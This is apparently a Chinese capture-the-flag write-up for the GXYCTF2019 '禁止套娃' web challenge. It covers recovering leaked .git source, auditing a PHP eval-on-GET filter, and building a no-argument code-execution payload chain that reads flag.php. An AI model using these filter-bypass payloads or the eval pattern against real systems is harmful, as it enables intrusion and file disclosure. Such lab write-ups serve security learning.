[GXYCTF2019]禁止套娃 – buu刷题笔记

图片[1]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

打开环境就只是提示,flag在哪里呢?,查看源代码,和网络加载都没有什么线索,只能扫一下目录,但是buu靶场一扫目录就429,难受,看了大佬的笔记,有一个git文件泄露。

git源码泄露,可以看看这篇文章

[第一章 web入门]粗心的小李 - buu刷题笔记-安全小天地
[第一章 web入门]粗心的小李 - buu刷题笔记-安全小天地
[第一章 web入门]粗心的小李 – buu刷题笔记
沐寒的头像-安全小天地大咖2022年4月27日 19:20

01919

使用githack工具下载到.git文件夹下的index.php文件

<?php
include \"flag.php\";
echo \"flag在哪里呢?<br>\";
if(isset($_GET[\'exp\'])){
    if (!preg_match(\'/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i\', $_GET[\'exp\'])) {
        if(\';\' === preg_replace(\'/[a-z,_]+\\((?R)?\\)/\', NULL, $_GET[\'exp\'])) {
            if (!preg_match(\'/et|na|info|dec|bin|hex|oct|pi|log/i\', $_GET[\'exp\'])) {
                // echo $_GET[\'exp\'];
                @eval($_GET[\'exp\']);
            }
            else{
                die(\"还差一点哦!\");
            }
        }
        else{
            die(\"再好好想想!\");
        }
    }
    else{
        die(\"还想读flag,臭弟弟!\");
    }
}
// highlight_file(__FILE__);
?>

php代码审计,首先就看到@eval($_GET[‘exp’]);代码执行,执行到这一步需要经过3重正则校验

第一个if过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,]+([a-z,]+((?R)?)),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,

第三个if使用正则匹配过滤了et/na/info等关键字,导致get()、phpinfo()等函数不能使用

payload知识点
1.localeconv() 函数返回一包含本地数字及货币格式信息的数组。

图片[2]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

可以看到数组返回的第一个就是.
2.current() 函数返回数组中的当前元素的值。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

图片[3]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

取出数组的第一个元素的值即为.
3.scandir列出指定目录中的文件和目录,当参数为.时,即列出当前目录的文件

构造payload读取当前目录下的文件:

?exp=print_r(scandir(current(localeconv())));
图片[4]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

读取到当前目录下存在flag.php文件
思考如何读取flag.php文件内容
4.array_reverse()函数以相反的元素顺序返回数组。

?exp=print_r(array_reverse(scandir(current(localeconv()))));
图片[5]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

5.next()函数讲内部指针指向数组中的下一个元素,并输出

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
图片[6]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

6.highlight_file将代码高亮显示出来

最终payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
图片[7]-[GXYCTF2019]禁止套娃 – buu刷题笔记-安全小天地

所以最终flag为flag{2769fccd-dc55-4301-b8f6-0db0e7725af3}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容